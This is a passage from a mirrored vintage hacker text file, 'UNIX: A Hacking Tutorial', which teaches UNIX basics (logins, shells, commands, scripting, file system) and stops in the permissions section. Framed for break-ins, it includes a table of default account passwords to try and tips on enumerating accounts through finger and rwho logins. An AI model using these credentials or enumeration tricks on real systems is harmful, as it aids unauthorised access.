mirror of
https://github.com/opsxcq/mirror-textfiles.com.git
synced 2025-09-28 01:59:07 +02:00
2136 lines
84 KiB
Plaintext
2136 lines
84 KiB
Plaintext
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
+ UNIX : A Hacking Tutorial +
|
|
+ By: Sir Hackalot +
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
----------------------
|
|
o Intent of this file:
|
|
----------------------
|
|
|
|
This phile is geared as an UNIX tutorial at first, to let you get more
|
|
familiar with the operating system. UNIX is just an operating system, as
|
|
is MS-DOS, AppleDOS, AmigaDOS, and others. UNIX happens to be a multi-user-
|
|
multi-tasking system, thus bringing a need for security not found on MSDOS,
|
|
AppleDOS, etc. This phile will hopefully teach the beginners who do not have
|
|
a clue about how to use UNIX a good start, and may hopefully teach old pros
|
|
something they didn't know before. This file deals with UNIX SYSTEM V and
|
|
its variants. When I talk about unix, its usually about SYSTEM V (rel 3.2).
|
|
|
|
Where Can I be found? I have no Idea. The Boards today are going Up'n'Down
|
|
so fast, 3 days after you read this file, if I put a BBS in it where you could
|
|
reach me, it may be down! Just look for me.
|
|
|
|
I can be reached on DarkWood Castle [If it goes back up], but that board
|
|
is hard to get access on, but I decided to mention it anyway.
|
|
|
|
I *COULD* Have been reached on jolnet, but......
|
|
|
|
This file may have some bad spelling, etc, or discrepencies since it was
|
|
spread out over a long time of writing, because of school, work, Girl friend,
|
|
etc. Please, no flames. If you don't like this file, don't keep it.
|
|
|
|
This is distributed under PHAZE Inc. Here are the members (and ex ones)
|
|
The Dark Pawn
|
|
The Data Wizard
|
|
Sir Hackalot (Me)
|
|
Taxi (ummm.. Busted)
|
|
Lancia (Busted)
|
|
The British Knight (Busted)
|
|
The Living Pharoah (Busted)
|
|
|
|
_____________________________________________________________________________
|
|
|
|
|
|
-------------
|
|
o Dedication:
|
|
-------------
|
|
This phile is dedicated to the members of LOD that were raided in
|
|
Atlanta. The members that got busted were very good hackers, especially
|
|
The Prophet. Good luck to you guys, and I hope you show up again somewhere.
|
|
_____________________________________________________________________________
|
|
|
|
------------------------
|
|
o A little History, etc:
|
|
------------------------
|
|
|
|
UNIX, of course, was invented By AT&T in the 60's somewhere, to be
|
|
"a programmer's operating system." While that goal was probably not reached
|
|
when they first invented UNIX, it seems that now, UNIX is a programmer's OS.
|
|
UNIX, as I have said before, is a multi-tasking/multi-user OS. It is also
|
|
written in C, or at least large parts of it are, thus making it a portable
|
|
operating system. We know that MSDOS corresponds to IBM/clone machines,
|
|
right? Well, this is not the case with UNIX. We do not associate it with
|
|
any one computer since it has been adapted for many, and there are many
|
|
UNIX variants [that is, UNIX modified by a vendor, or such]. Some AT&T
|
|
computers run it, and also some run MSDOS [AT&T 6300]. The SUN workstations
|
|
run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version
|
|
of UNIX. Remember, no matter what the name of the operating system is [BSD,
|
|
UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the
|
|
commands the operating system uses. Some variants may have features others
|
|
do not, but they are basically similar in that they have a lot of the same
|
|
commands/datafiles. When someone tries to tell you that UNIX goes along with
|
|
a certain type of computer, they may be right, but remember, some computers
|
|
have more than one Operating system. For instance, one person may tell you
|
|
that UNIX is to a VAX as MSDOS is to IBM/clones. That is untrue, and the
|
|
only reason I stated that, was because I have seen many messages with info
|
|
/comparisons in it like that, which confuse users when they see a VAX running
|
|
VMS.
|
|
____________________________________________________________________________
|
|
|
|
|
|
-------------------------------
|
|
o Identifying a Unix/Logging in
|
|
-------------------------------
|
|
|
|
From now on, I will be referring to all the UNIX variants/etc as
|
|
UNIX, so when I say something about UNIX, it generally means all the variants
|
|
(Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless
|
|
I state a variant in particular.
|
|
|
|
Okay. Now its time for me to tell you how a unix USUALLY greets you.
|
|
First, when you call up a UNIX, or connect to one however you do, you will
|
|
usually get this prompt:
|
|
|
|
login:
|
|
|
|
Ok. Thats all fine and dandy. That means that this is PROBABLY a Unix,
|
|
although there are BBS's that can mimic the login procedure of an OS
|
|
(Operating System), thus making some people believe its a Unix. [Hah!].
|
|
Some Unixes will tell you what they are or give you a message before a
|
|
login: prompt, as such:
|
|
|
|
Welcome to SHUnix. Please log in.
|
|
|
|
login:
|
|
|
|
Or something like that. Public access Unixes [like Public BBSs] will
|
|
tell you how to logon if you are a new users. Unfortunatly, this phile is
|
|
not about public access Unixes, but I will talk about them briefly later, as
|
|
a UUCP/UseNet/Bitnet address for mail.
|
|
OK. You've gotten to the login prompt! Now, what you need to do
|
|
here is enter in a valid account. An Account usually consists of 8 characters
|
|
or less. After you enter in an account, you will probably get a password
|
|
prompt of some sort. The prompts may vary, as the source code to the login
|
|
program is usually supplied with UNIX, or is readily available for free.
|
|
Well, The easiest thing I can say to do to login is basically this:
|
|
Get an account, or try the defaults. The defaults are ones that came with
|
|
the operating system, in standard form. The list of some of the Defaults
|
|
are as follows:
|
|
|
|
ACCOUNT PASSWORD
|
|
------- --------
|
|
root root - Rarely open to hackers
|
|
sys sys / system / bin
|
|
bin sys / bin
|
|
mountfsys mountfsys
|
|
adm adm
|
|
uucp uucp
|
|
nuucp anon
|
|
anon anon
|
|
user user
|
|
games games
|
|
install install
|
|
reboot * See Below
|
|
demo demo
|
|
umountfsys umountfsys
|
|
sync sync
|
|
admin admin
|
|
guest guest
|
|
daemon daemon
|
|
|
|
The accounts root, mountfsys, umountfsys, install, and sometimes sync are
|
|
root level accounts, meaning they have sysop power, or total power. Other
|
|
logins are just "user level" logins meaning they only have power over what
|
|
files/processes they own. I'll get into that later, in the file permissions
|
|
section. The REBOOT login is what as known as a command login, which just
|
|
simply doesn't let you into the operating system, but executes a program
|
|
assigned to it. It usually does just what it says, reboot the system. It
|
|
may not be standard on all UNIX systems, but I have seen it on UNISYS unixes
|
|
and also HP/UX systems [Hewlett Packard Unixes]. So far, these accounts have
|
|
not been passworded [reboot], which is real stupid, if you ask me.
|
|
|
|
COMMAND LOGINS:
|
|
---------------
|
|
|
|
There are "command logins", which, like reboot, execute a command then log
|
|
you off instead of letting you use the command interpreter. BSD is notorious
|
|
for having these, and concequently, so does MIT's computers. Here are some:
|
|
|
|
rwho - show who is online
|
|
finger - same
|
|
who - same
|
|
|
|
These are the most useful, since they will give the account names that are
|
|
online, thus showing you several accounts that actually exist.
|
|
|
|
|
|
Errors:
|
|
-------
|
|
|
|
When you get an invalid Account name / invalid password, or both, you will
|
|
get some kind of error. Usually it is the "login incorrect" message. When
|
|
the computer tells you that, you have done something wrong by either enterring
|
|
an invalid account name, or a valid account name, but invalid password. It
|
|
does not tell you which mistake you made, for obvious reasons. Also,
|
|
when you login incorrectly, the error log on the system gets updated, letting
|
|
the sysops(s) know something is amiss.
|
|
|
|
Another error is "Cannot change to home directory" or "Cannot Change
|
|
Directory." This means that no "home directory" which is essentially the
|
|
'root' directory for an account, which is the directory you start off in.
|
|
On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in
|
|
/homedirectory. [Note: The / is used in directories on UNIX, not a \ ].
|
|
Most systems will log you off after this, but some tell you that they will
|
|
put you in the root directory [ '/'].
|
|
|
|
Another error is "No Shell". This means that no "shell" was defined
|
|
for that particular account. The "shell" will be explained later. Some
|
|
systems will log you off after this message. Others will tell you that they
|
|
will use the regular shell, by saying "Using the bourne shell", or "Using sh"
|
|
|
|
-----------------------------
|
|
Accounts In General :
|
|
-----------------------------
|
|
|
|
This section is to hopefully describe to you the user structure
|
|
in the UNIX environment.
|
|
Ok, think of UNIX having two levels of security: absolute power,
|
|
or just a regular user. The ones that have absolute power are those users
|
|
at the root level. Ok, now is the time to think in numbers. Unix associates
|
|
numbers with account names. each account will have a number. Some will have
|
|
the same number. That number is the UID [user-id] of the account. the root
|
|
user id is 0. Any account that has a user id of 0 will have root access.
|
|
Unix does not deal with account names (logins) but rather the number
|
|
associated with them. for instance, If my user-id is 50, and someone else's
|
|
is 50, with both have absolute power of each other, but no-one else.
|
|
_____________________________________________________________________________
|
|
|
|
---------------
|
|
Shells :
|
|
---------------
|
|
|
|
A shell is an executable program which loads and runs when a user
|
|
logs on, and is in the foreground. This "shell" can be any executable prog-
|
|
ram, and it is defined in the "passwd" file which is the userfile. Each
|
|
login can have a unique "shell". Ok. Now the shell that we usually will work
|
|
with is a command interpreter. A command interpreter is simply something
|
|
like MSDOS's COMMAND.COM, which processes commands, and sends them to the
|
|
kernel [operating system]. A shell can be anything, as I said before,
|
|
but the one you want to have is a command interpreter. Here are the
|
|
usual shells you will find:
|
|
|
|
sh - This is the bourne shell. It is your basic Unix "COMMAND.COM". It has
|
|
a "script" language, as do most of the command interpreters on Unix sys-
|
|
tems.
|
|
|
|
csh - This is the "C" shell, which will allow you to enter "C" like commands.
|
|
ksh - this is the korn shell. Just another command interpreter.
|
|
tcsh - this is one, which is used at MIT I believe. Allows command editing.
|
|
vsh - visual shell. It is a menu driven deal. Sorta like.. Windows for DOS
|
|
rsh - restricted shell OR remote shell. Both Explained later.
|
|
There are many others, including "homemade " shells, which are
|
|
programs written by the owner of a unix, or for a specific unix, and they
|
|
are not standard. Remember, the shell is just the program you get to use
|
|
and when it is done executing, you get logged off. A good example of a
|
|
homemade shell is on Eskimo North, a public access Unix. The shell
|
|
is called "Esh", and it is just something like a one-key-press BBS,
|
|
but hey, its still a shell. The Number to eskimo north is 206-387-3637.
|
|
[206-For-Ever]. If you call there, send Glitch Lots of mail.
|
|
Several companies use Word Processors, databases, and other things
|
|
as a user shell, to prevent abuse, and make life easier for unskilled computer
|
|
operators. Several Medical Hospitals use this kind of shell in Georgia,
|
|
and fortunatly, these second rate programs leave major holes in Unix.
|
|
Also, a BBS can be run as a shell. Check out Jolnet [312]-301-2100, they
|
|
give you a choice between a command interpreter, or a BBS as a shell.
|
|
WHen you have a command interpreter, the prompt is usually a:
|
|
$
|
|
when you are a root user the prompt is usually a:
|
|
#
|
|
The variable, PS1, can be set to hold a prompt.
|
|
For instance, if PS1 is "HI:", your prompt will be:
|
|
HI:
|
|
|
|
_____________________________________________________________________________
|
|
|
|
------------------------
|
|
SPecial Characters, ETc:
|
|
------------------------
|
|
|
|
Control-D : End of file. When using mail or a text editor, this will end
|
|
the message or text file. If you are in the shell and hit control-d you get
|
|
logged off.
|
|
|
|
Control-J: On some systems, this is like the enter key.
|
|
@ : Is sometimes a "null"
|
|
? : This is a wildcard. This can represent a letter. If you specified
|
|
something at the command line like "b?b" Unix would look for bob,bib,bub,
|
|
and every other letter/number between a-z, 0-9.
|
|
* : this can represent any number of characters. If you specified a "hi*"
|
|
it would use "hit", him, hiiii, hiya, and ANYTHING that starts with
|
|
hi. "H*l" could by hill, hull, hl, and anything that starts with an
|
|
H and ends with an L.
|
|
|
|
[] - The specifies a range. if i did b[o,u,i]b unix would think: bib,bub,bob
|
|
if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb. Get the idea? The
|
|
[], ?, and * are usually used with copy, deleting files, and directory
|
|
listings.
|
|
|
|
EVERYTHING in Unix is CASE sensitive. This means "Hill" and "hill" are not
|
|
the same thing. This allows for many files to be able to be stored, since
|
|
"Hill" "hill" "hIll" "hiLl", etc. can be different files. So, when using
|
|
the [] stuff, you have to specify capital letters if any files you are dealing
|
|
with has capital letters. Most everything is lower case though.
|
|
|
|
----------------
|
|
Commands to use:
|
|
----------------
|
|
|
|
Now, I will rundown some of the useful commands of Unix. I will act
|
|
as if I were typing in the actual command from a prompt.
|
|
|
|
ls - this is to get a directory. With no arguments, it will just print out
|
|
file names in either one column or multi-column output, depending on the
|
|
ls program you have access to.
|
|
|
|
example:
|
|
$ ls
|
|
hithere
|
|
runme
|
|
note.text
|
|
src
|
|
$
|
|
the -l switch will give you extended info on the files.
|
|
$ ls -l
|
|
rwx--x--x sirhack sirh 10990 runme
|
|
and so on....
|
|
|
|
the "rwx--x--x" is the file permission. [Explained Later]
|
|
the "sirhack sirh" is the owner of the file/group the file is in.
|
|
sirhack = owner, sirh = user-group the file is in [explained later]
|
|
the 10990 is the size of the file in bytes.
|
|
"runme" is the file name.
|
|
The format varies, but you should have the general idea.
|
|
|
|
cat - this types out a file onto the screen. should be used on text files.
|
|
only use it with binary files to make a user mad [explained later]
|
|
ex:
|
|
$ cat note.txt
|
|
This is a sample text file!
|
|
$
|
|
|
|
cd - change directory . You do it like this: cd /dir/dir1/dir2/dirn.
|
|
the dir1/etc.... describes the directory name. Say I want to get
|
|
to the root directory.
|
|
ex:
|
|
$ cd /
|
|
*ok, I'm there.*
|
|
$ ls
|
|
bin
|
|
sys
|
|
etc
|
|
temp
|
|
work
|
|
usr
|
|
all of the above are directories, lets say.
|
|
$ cd /usr
|
|
$ ls
|
|
sirhack
|
|
datawiz
|
|
prophet
|
|
src
|
|
violence
|
|
par
|
|
phiber
|
|
scythian
|
|
$ cd /usr/sirhack
|
|
$ ls
|
|
hithere
|
|
runme
|
|
note.text
|
|
src
|
|
$
|
|
ok, now, you do not have to enter the full dir name. if you are in
|
|
a directory, and want to get into one that is right there [say "src"], you
|
|
can type "cd src" [no "/"]. Instead of typing "cd /usr/sirhack/src" from the
|
|
sirhack dir, you can type "cd src"
|
|
|
|
cp - this copies a file. syntax for it is "cp fromfile tofile"
|
|
$ cp runme runme2
|
|
$ ls
|
|
hithere
|
|
runme
|
|
note.text
|
|
src
|
|
runme2
|
|
Full pathnames can be included, as to copy it to another directory.
|
|
$ cp runme /usr/datwiz/runme
|
|
|
|
mv - this renames a file. syntax "mv oldname newname"
|
|
$ mv runme2 runit
|
|
$ ls
|
|
hithere
|
|
runme
|
|
note.text
|
|
src
|
|
runit
|
|
files can be renamed into other directories.
|
|
$ mv runit /usr/datwiz/run
|
|
$ ls
|
|
hithere
|
|
runme
|
|
note.text
|
|
src
|
|
$ ls /usr/datwiz
|
|
runme
|
|
run
|
|
|
|
pwd - gives current directory
|
|
$ pwd
|
|
/usr/sirhack
|
|
$ cd src
|
|
$ pwd
|
|
/usr/sirhack/src
|
|
$ cd ..
|
|
$ pwd
|
|
/usr/sirhack
|
|
[ the ".." means use the name one directory back. ]
|
|
$ cd ../datwiz
|
|
[translates to cd /usr/datwiz]
|
|
$ pwd
|
|
/usr/datwiz
|
|
$ cd $home
|
|
[goto home dir]
|
|
$ pwd
|
|
/usr/sirhack
|
|
|
|
rm - delete a file. syntax "rm filename" or "rm -r directory name"
|
|
$ rm note.text
|
|
$ ls
|
|
hithere
|
|
runme
|
|
src
|
|
$
|
|
|
|
write - chat with another user. Well, "write" to another user.
|
|
syntax: "write username"
|
|
$ write scythian
|
|
scythian has been notified
|
|
Hey Scy! What up??
|
|
Message from scythian on tty001 at 17:32
|
|
hey!
|
|
me: So, hows life?
|
|
scy: ok, I guess.
|
|
me: gotta go finish this text file.
|
|
scy: ok
|
|
me: control-D [to exit program]
|
|
$
|
|
|
|
who [w,who,whodo] - print who is online
|
|
$ who
|
|
login term logontime
|
|
scythian + tty001 17:20
|
|
phiberO + tty002 15:50
|
|
sirhack + tty003 17:21
|
|
datawiz - tty004 11:20
|
|
glitch - tty666 66:60
|
|
$
|
|
the "who" commands may vary in the information given. a "+" means
|
|
you can "write" to their terminal, a "-" means you cannot.
|
|
|
|
man - show a manual page entry. syntax "man command name" This is a help
|
|
program. If you wanted to know how to use... "who" you'd type
|
|
$ man who
|
|
WHO(1) xxx......
|
|
and it would tell you.
|
|
|
|
stty - set your terminal characteristics. You WILL have to do "man stty"
|
|
since each stty is different, it seems like.
|
|
an example would be:
|
|
$ stty -parenb
|
|
to make the data params N,8,1. A lot of Unixes operate at
|
|
e,7,1 by default.
|
|
|
|
sz,rz - send and recieve via zmodem
|
|
rx,sx - send / recieve via xmodem
|
|
rb,sb - send via batch ymodem. These 6 programs may or may not be on a unix.
|
|
umodem - send/recieve via umodem.
|
|
$ sz filename
|
|
ready to send...
|
|
$ rz filename
|
|
please send your file....
|
|
...etc..
|
|
|
|
ed - text editor. Usage "ed filename" to create a file that doesn't
|
|
exist, just enter in "ed filename"
|
|
some versions of ed will give you a prompt, such as "*" others will not
|
|
$ ed newtext
|
|
0
|
|
* a
|
|
This is line 1
|
|
This is line 2
|
|
[control-z]
|
|
* 1 [to see line one]
|
|
This is line 1
|
|
* a [keep adding]
|
|
This is line 3
|
|
[control-z]
|
|
*0a [add after line 0]
|
|
This is THE first line
|
|
[control-z]
|
|
1,4l
|
|
This is THE first line
|
|
This is line 1
|
|
This is line 2
|
|
This is line 3
|
|
* w
|
|
71
|
|
* q
|
|
$
|
|
The 71 is number of bytes written.
|
|
a = append
|
|
l = list
|
|
# = print line number
|
|
w - write
|
|
l fname = load fname
|
|
s fname = save to fname
|
|
w = write to current file
|
|
q = quit
|
|
mesg - turn write permissions on or off to your terminal (allow chat)
|
|
format "mesg y" or "mesg n"
|
|
cc - the C compiler. don't worry about this one right now.
|
|
chmod - change mode of a file. Change the access in other words.
|
|
syntax: "chmod mode filename"
|
|
$ chmod a+r newtext
|
|
Now everyone can read newtext.
|
|
a = all
|
|
r = read. This will be explained further in the File System section.
|
|
|
|
chown - change the owner of a file.
|
|
syntax: "chown owner filename"
|
|
$ chown scythian newtext
|
|
$
|
|
chgrp - change the group [explained later] of a file.
|
|
syntax: "chgrp group file"
|
|
$ chgrp root runme
|
|
$
|
|
finger - print out basic info on an account. Format: finger username
|
|
grep - search for patterns in a file. syntax: "grep pattern file"
|
|
$ grep 1 newtext
|
|
This is Line 1
|
|
$ grep THE newtext
|
|
This is THE first line
|
|
$ grep "THE line 1" newtext
|
|
$
|
|
|
|
mail - This is a very useful utility. Obviously, you already know what it
|
|
is by its name. There are several MAIL utilities, such as ELM, MUSH
|
|
and MSH, but the basic "mail" program is called "mail". The usage
|
|
is:
|
|
"mail username@address" or
|
|
"mail username"
|
|
or
|
|
"mail"
|
|
or "mail addr1!addr2!addr3!user"
|
|
|
|
"mail username@address" - This is used to send mail to someone on
|
|
another system, which is usually another UNIX, but some DOS machines and some
|
|
VAX machines can recieve Unix Mail. When you use "mail user@address" the
|
|
system you are on MUST have a "smart mailer" [known as smail], and must
|
|
have what we call system maps. The smart mailer will find the "adress" part
|
|
of the command and expand it into the full pathname usually. I could look
|
|
like this: mail phiber@optik
|
|
then look like this to the computer:
|
|
|
|
mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
|
|
|
|
Do not worry about it, I was merely explaining the principal of the thing.
|
|
Now, if there is no smart mailer online, you'll have to know the FULL path
|
|
name of the person you wish to mail to. For Instance, I want to mail to
|
|
.. phiber. I'd do this if there were no smart mailer:
|
|
|
|
$ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
|
|
|
|
Hey Guy. Whats up? Well, gotta go. Nice long message huh?
|
|
[control-D]
|
|
$
|
|
Then, when he got it, there would be about 20 lines of information, with
|
|
like a post mark from every system my message went thru, and the "from" line
|
|
would look like so:
|
|
|
|
From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack <Sir Hack>
|
|
|
|
Now, for local mailing, just type in "mail username" where username
|
|
is the login you want to send mail to. Then type in your message. Then
|
|
end it with a control-D.
|
|
|
|
To read YOUR mail, just type in mail. IE:
|
|
|
|
$ mail
|
|
|
|
From scythian ............
|
|
To sirhack ............
|
|
Subject: Well....
|
|
|
|
Arghhh!
|
|
|
|
?
|
|
The dots represent omitted crap. Each Mail program makes its own headings.
|
|
That ? is a prompt. At this prompt I can type:
|
|
|
|
d - delete
|
|
f username - forward to username
|
|
w fname - write message to a file named fname
|
|
s fname - save message with header into file
|
|
q - quit / update mail
|
|
x - quit, but don't change a thing
|
|
m username - mail to username
|
|
r - reply
|
|
[enter] - read next message
|
|
+ - go forward one message
|
|
- : go back one
|
|
h - print out message headers that are in your mailbox.
|
|
|
|
There are others, to see them, you'd usually hit '?'.
|
|
|
|
--------
|
|
|
|
If you send mail to someone not on your system, you will have to wait longer
|
|
for a reply, since it is just as a letter. A "postman" has to pick it up.
|
|
The system might call out, and use UUCP to transfer mail. Usually, uucp
|
|
accounts are no good to one, unless you have uucp available to intercept mail.
|
|
|
|
ps - process. This command allows you to see what you are actually doing
|
|
in memory. Everytime you run a program, it gets assigned a Process Id number
|
|
(PID), for accounting purposes, and so it can be tracked in memory, as
|
|
well as shut down by you, or root. usually, the first thing in a process
|
|
list given by "ps" is your shell name. Say I was logged in under sirhack,
|
|
using the shell "csh" and running "watch scythian". The watch program would
|
|
go into the background, meaning I'd still be able to do things while it was
|
|
running:
|
|
$ ps
|
|
PID TTY NAME
|
|
122 001 ksh
|
|
123 001 watch
|
|
$
|
|
That is a shortened PS. That is the default listing [a brief one].
|
|
The TTY column represents the "tty" [i/o device] that the process is being
|
|
run from. This is only useful really if you are using layers (don't worry)
|
|
or more than one person is logged in with the same account name. Now,
|
|
"ps -f" would give a full process listing on yourself, so instead of
|
|
seeing just plain ole "watch" you'd most likely see "watch scythian"
|
|
|
|
kill - kill a process. This is used to terminate a program in memory obvio-
|
|
ously. You can only kill processes you own [ones you started], unless you
|
|
are root, or your EUID is the same as the process you want to kill.
|
|
(Will explain euid later). If you kill the shell process, you are logged
|
|
off. By the same token, if you kill someone else's shell process, they
|
|
are logged off. So, if I said "kill 122" I would be logged off. However,
|
|
kill only sends a signal to UNIX telling it to kill off a process. If
|
|
you just use the syntax "kill pid" then UNIX kills the process WHEN it feels
|
|
like it, which may be never. So, you can specify urgency! Try "kill -num pid"
|
|
Kill -9 pid is a definite kill almost instantly. So if I did this:
|
|
$ kill 122
|
|
$ kill 123
|
|
$ ps
|
|
PID TTY NAME
|
|
122 001 ksh
|
|
123 001 watch
|
|
$ kill -9 123
|
|
[123]: killed
|
|
$ kill -9 122
|
|
garbage
|
|
NO CARRIER
|
|
|
|
Also, you can do "kill -1 0" to kill your shell process to log yourself off.
|
|
This is useful in scripts (explained later).
|
|
|
|
-------------------
|
|
Shell Programmin'
|
|
-------------------
|
|
|
|
Shell Programming is basically making a "script" file for the
|
|
standard shell, being sh, ksh, csh, or something on those lines. Its
|
|
like an MSDOS batch file, but more complex, and more Flexible.
|
|
This can be useful in one aspect of hacking.
|
|
|
|
|
|
First, lets get into variables. Variables obviously can be assigned
|
|
values. These values can be string values, or numberic values.
|
|
|
|
number=1
|
|
|
|
That would assign 1 to the variable named "number".
|
|
|
|
string=Hi There
|
|
or
|
|
string="Hi There"
|
|
|
|
Both would assign "Hi there" to a variable.
|
|
|
|
Using a variable is different though. When you wish to use a variable
|
|
you must procede it with a dollar ($) sign. These variables can
|
|
be used as arguments in programs. When I said that scripts are
|
|
like batch files, I meant it. You can enter in any name of a program
|
|
in a script file, and it will execute it. Here is a sample script.
|
|
|
|
counter=1
|
|
arg1="-uf"
|
|
arg2="scythian"
|
|
|
|
ps $arg1 $arg2
|
|
|
|
echo $counter
|
|
|
|
That script would translate to "ps -uf scythian" then would print
|
|
"1" after that was finished. ECHO prints something on the screen
|
|
whether it be numeric, or a string constant.
|
|
|
|
Other Commands / Examples:
|
|
|
|
read - reads someting into a variable. format : read variable . No dollar
|
|
sign is needed here! If I wwanted to get someone's name, I could
|
|
put:
|
|
|
|
echo "What is your name?"
|
|
read hisname
|
|
echo Hello $hisname
|
|
|
|
What is your name?
|
|
Sir Hackalot
|
|
Hello Sir Hackalot
|
|
|
|
Remember, read can read numeric values also.
|
|
|
|
trap - This can watch for someone to use the interrupt character. (Ctrl-c)
|
|
format: trap "command ; command ; command ; etc.."
|
|
Example:
|
|
trap "echo 'Noway!! You are not getting rid o me that easy' ; echo
|
|
'You gotta see this through!'"
|
|
|
|
Now, if I hit control-c during the script after this statement was
|
|
executed, I'd get:
|
|
Noway!! You are not getting rid of me that easy
|
|
You gotta see this through!
|
|
|
|
exit : format :exit [num] This exists the shell [quits] with return
|
|
code of num.
|
|
|
|
-----
|
|
CASE
|
|
-----
|
|
|
|
Case execution is like a menu choice deal. The format of the command
|
|
or structure is :
|
|
case variable in
|
|
1) command;
|
|
command;;
|
|
2) command;
|
|
command;
|
|
command;;
|
|
*) command;;
|
|
esac
|
|
Each part can have any number of commands. The last command however
|
|
must have a ";;". Take this menu:
|
|
|
|
echo "Please Choose:"
|
|
echo "(D)irectory (L)ogoff (S)hell"
|
|
read choice
|
|
case $choice in
|
|
|
|
D) echo "Doing Directory...";
|
|
ls -al ;;
|
|
L) echo Bye;
|
|
kill -1 0;;
|
|
S) exit;;
|
|
*) Echo "Error! Not a command";;
|
|
esac
|
|
|
|
The esac marks the end of a case function. It must be after the
|
|
LAST command.
|
|
|
|
Loops
|
|
-----
|
|
|
|
Ok, loops. There are two loop functins. the for loops, and the
|
|
repeat.
|
|
|
|
repeat looks like this: repeat something somethin1 somethin2
|
|
this would repeat a section of your script for each "something".
|
|
say i did this:
|
|
repeat scythian sirhack prophet
|
|
|
|
I may see "scythian" then sirhack then prophet on my screen.
|
|
|
|
The for loop is defined as "for variable in something
|
|
do
|
|
..
|
|
..
|
|
done"
|
|
|
|
an example:
|
|
for counter in 1 2 3
|
|
do
|
|
echo $counter
|
|
done
|
|
|
|
That would print out 1 then 2 then 3.
|
|
|
|
Using TEST
|
|
----------
|
|
The format: Test variable option variable
|
|
|
|
The optios are:
|
|
-eq =
|
|
-ne <> (not equal)
|
|
-gt >
|
|
-lt <
|
|
-ge >=
|
|
-le <=
|
|
|
|
for strings its: = for equal != for not equal.
|
|
|
|
If the condition is true, a zero is returned. Watch:
|
|
|
|
test 3 -eq 3
|
|
|
|
that would be test 3 = 3, and 0 would be returned.
|
|
|
|
EXPR
|
|
----
|
|
|
|
This is for numeric functions. You cannot simply type in
|
|
echo 4 + 5
|
|
and get an answer most of the time. you must say:
|
|
expr variable [or number] operator variable2 [or number]
|
|
the operators are:
|
|
|
|
+ add
|
|
- subtract
|
|
* multiply
|
|
/ divide
|
|
^ - power (on some systems)
|
|
|
|
example : expr 4 + 5
|
|
var = expr 4 + 5
|
|
var would hold 9.
|
|
|
|
On some systems, expr sometimes prints out a formula. I mean,
|
|
22+12 is not the same as 22 + 12. If you said expr 22+12 you
|
|
would see:
|
|
22+12
|
|
If you did expr 22 + 12 you'd see:
|
|
34
|
|
|
|
|
|
SYSTEM VARIABLES
|
|
----------------
|
|
|
|
These are variables used by the shell, and are usually set in the
|
|
system wide .profile [explained later].
|
|
|
|
HOME - location of your home directory.
|
|
PS1 - The prompt you are given. usually $ . On BSD its usually &
|
|
PATH - This is the search path for programs. When you type in a program
|
|
to be run, it is not in memory; it must be loaded off disk. Most commands
|
|
are not in Memory like MSDOS. If a program is on the search path, it may
|
|
be executed no matter where you are. If not, you must be in the directory
|
|
where the program is. A path is a set of directories basically, seperated by
|
|
":"'s. Here is a typical search path:
|
|
|
|
:/bin:/etc:/usr/lbin:$HOME:
|
|
|
|
When you tried to execute a program, Unix would look for it in /bin,
|
|
/etc, /usr/lbin, and your home directory, and if its not found, an error is
|
|
spewed out. It searches directories in ORDER of the path. SO if you had a
|
|
program named "sh" in your home directory, and typed in "sh", EVEN if
|
|
you were in your home dir, it would execute the one in /bin. So, you
|
|
must set your paths wisely. Public access Unixes do this for you, but systems
|
|
you may encounter may have no path set.
|
|
|
|
TERM - This is your terminal type. UNIX has a library of functions called
|
|
"CURSES" which can take advantage of any terminal, provided the escape
|
|
codes are found. You must have your term set to something if you run
|
|
screen oriented programs. The escape codes/names of terms are found
|
|
in a file called TERMCAP. Don't worry about that. just set your term
|
|
to ansi or vt100. CURSES will let you know if it cannot manipulate your
|
|
terminal emulation.
|
|
|
|
|
|
-------------------
|
|
The C compiler
|
|
-------------------
|
|
|
|
This Will be BRIEF. Why? Becuase if you want to learn C, go
|
|
buy a book. I don't have time to write another text file on
|
|
C, for it would be huge. Basically, most executables are programmed
|
|
in C. Source code files on unix are found as filename.c .
|
|
To compile one, type in "cc filename.c". Not all C programs
|
|
will compile, since they may depend on other files not there, or
|
|
are just modules. If you see a think called "makefile" you can
|
|
usually type in just "make" at the command prompt, and something
|
|
will be compiled, or be attempted to compile. When using make or
|
|
CC, it would be wise to use the background operand since
|
|
compiling sometimes takes for ever.
|
|
IE:
|
|
$ cc login.c&
|
|
[1234]
|
|
$
|
|
(The 1234 was the process # it got identified as).
|
|
|
|
|
|
_____________________________________________________________________________
|
|
|
|
---------------
|
|
The FILE SYSTEM
|
|
---------------
|
|
|
|
This is an instrumental part of UNIX. If you do not understand this
|
|
section, you'll never get the hang of hacking Unix, since a lot of Pranks
|
|
you can play, and things you can do to "raise your access" depend on it.
|
|
|
|
First, Let's start out by talking about the directory structure. It is
|
|
basically a Hiearchy file system, meaning, it starts out at a root directory
|
|
and expands, just as MSDOS, and possibly AmigaDos.
|
|
|
|
Here is a Directory Tree of sorts: (d) means directory
|
|
|
|
/ (root dir)
|
|
|
|
|
|--------------------|
|
|
bin (d) usr (d)
|
|
----^--------------------
|
|
| | |
|
|
sirhack(d) scythian (d) prophet (d)
|
|
|
|
|
src (d)
|
|
|
|
Now, this particular system contains the following directories:
|
|
/
|
|
/bin
|
|
/usr
|
|
/usr/sirhack
|
|
/usr/sirhack/src
|
|
/usr/scythian
|
|
/usr/prophet
|
|
|
|
Hopefully, you understood that part, and you should. Everything spawns from
|
|
the root directory.
|
|
|
|
o File Permissions!
|
|
------------------
|
|
|
|
Now, this is really the biggie. File Permissions. It is not that hard to
|
|
understand file permissions, but I will explain them deeply anyway.
|
|
|
|
OK, now you must think of user groups as well as user names. Everyone
|
|
belongs to a group. at the $ prompt, you could type in 'id' to see what
|
|
group you are in. Ok, groups are used to allow people access certain things,
|
|
instead of just having one person controlling/having access to certain files.
|
|
Remember also, that Unix looks at someone's UID to determine access, not
|
|
user name.
|
|
|
|
